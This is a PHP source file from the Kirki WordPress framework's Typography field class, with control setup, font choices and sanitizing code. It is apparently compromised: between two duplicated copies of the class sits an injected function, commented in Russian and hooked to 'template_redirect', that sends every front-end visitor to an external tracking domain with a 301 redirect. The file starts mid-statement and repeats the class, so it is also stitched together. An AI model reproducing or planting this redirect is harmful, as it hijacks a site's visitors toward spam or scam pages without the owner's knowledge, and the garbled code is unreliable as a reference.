self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} }
